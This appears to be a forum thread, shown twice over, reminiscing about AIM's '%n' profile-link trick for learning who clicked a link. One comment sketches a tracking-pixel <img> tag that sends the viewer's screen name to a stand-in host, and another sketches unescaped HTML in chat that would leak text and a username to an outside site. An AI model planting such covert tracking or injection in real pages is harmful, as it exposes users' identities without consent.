5 ms·

I enjoyed the (brief?) times when the client would do string interpolation on the URL and tell you the screen name of the person viewing it.

jaywalk 4y ago
You had to put a link in your profile that contained "%n", and the client would replace %n with the screen name of the person clicking the link. They never took that away as long as I was using AIM, but there was no way to see anyone simply viewing your profile without clicking a link as far as I can remember.
- jrootabega 4y ago
  Ah that's right. I remember when it was still not widely known you could catch some people, but I think people caught on eventually.
- knome 4y ago
  Could you have added an <img src="http://tracking.example.com/pixel.gif?name=%n http://tracking.example.com/pixel.gif?name=%n"> to the profile, tracking them via the weblogs, or having a era-appropriate CGI script sitting there that kept track of them?
  - jaywalk 4y ago
    I'm pretty sure you couldn't embed images in your profile.
lucb1e 4y ago
I wasn't an AOL user so it took me a few reads to get the concept. What this must mean is something like: [Joe] what's up <a href="//example.net/?username= [Jane] nm, wbu [Joe] ">join my chess game?</a> Which could show on Jane's screen, if there is no HTML escaping at all, as: [Joe] what's up [Joe] join my chess game? (<-link) The message of Jane's would have looked like it got swallowed because it was inside the HTML tag, but so long as Jane doesn't know what's up and ignores it, clicking the link instead, the owner of example.net would see a pageload of https://example.net/?username=%0A%5BJane%5D%20nm%2C%20wbu%0A%5BJoe%5D%20%20 https://example.net/?username=%0A%5BJane%5D%20nm%2C%20wbu%0A... and thus learn that the other person is called Jane. Then again, for this to work it would already have to be on the screen of the person clicking the link, but not of the person who sent the link or there would be no point. So I feel like I'm still missing something.
- jrootabega 4y ago
  Less clever than that. jaywalk's comment got it. You could put a link in your away message/status/profile and see which people clicked it and/or were "stalking" you.
oliwary 4y ago
Something similar used to work on Facebook... and still does apparently! At least if you are this person: http://facebook.com/profile.php?=73322363 http://facebook.com/profile.php?=73322363 (This link redirects to the profile of whoever clicks it)

jaywalk 4y ago

You had to put a link in your profile that contained "%n", and the client would replace %n with the screen name of the person clicking the link. They never took that away as long as I was using AIM, but there was no way to see anyone simply viewing your profile without clicking a link as far as I can remember.

jrootabega 4y ago
Ah that's right. I remember when it was still not widely known you could catch some people, but I think people caught on eventually.
knome 4y ago
Could you have added an <img src="http://tracking.example.com/pixel.gif?name=%n http://tracking.example.com/pixel.gif?name=%n"> to the profile, tracking them via the weblogs, or having a era-appropriate CGI script sitting there that kept track of them?
- jaywalk 4y ago
  I'm pretty sure you couldn't embed images in your profile.

lucb1e 4y ago

I wasn't an AOL user so it took me a few reads to get the concept. What this must mean is something like: [Joe] what's up <a href="//example.net/?username= [Jane] nm, wbu [Joe] ">join my chess game?</a> Which could show on Jane's screen, if there is no HTML escaping at all, as: [Joe] what's up [Joe] join my chess game? (<-link) The message of Jane's would have looked like it got swallowed because it was inside the HTML tag, but so long as Jane doesn't know what's up and ignores it, clicking the link instead, the owner of example.net would see a pageload of https://example.net/?username=%0A%5BJane%5D%20nm%2C%20wbu%0A%5BJoe%5D%20%20 https://example.net/?username=%0A%5BJane%5D%20nm%2C%20wbu%0A... and thus learn that the other person is called Jane. Then again, for this to work it would already have to be on the screen of the person clicking the link, but not of the person who sent the link or there would be no point. So I feel like I'm still missing something.

jrootabega 4y ago
Less clever than that. jaywalk's comment got it. You could put a link in your away message/status/profile and see which people clicked it and/or were "stalking" you.

oliwary 4y ago

Something similar used to work on Facebook... and still does apparently! At least if you are this person: http://facebook.com/profile.php?=73322363 http://facebook.com/profile.php?=73322363 (This link redirects to the profile of whoever clicks it)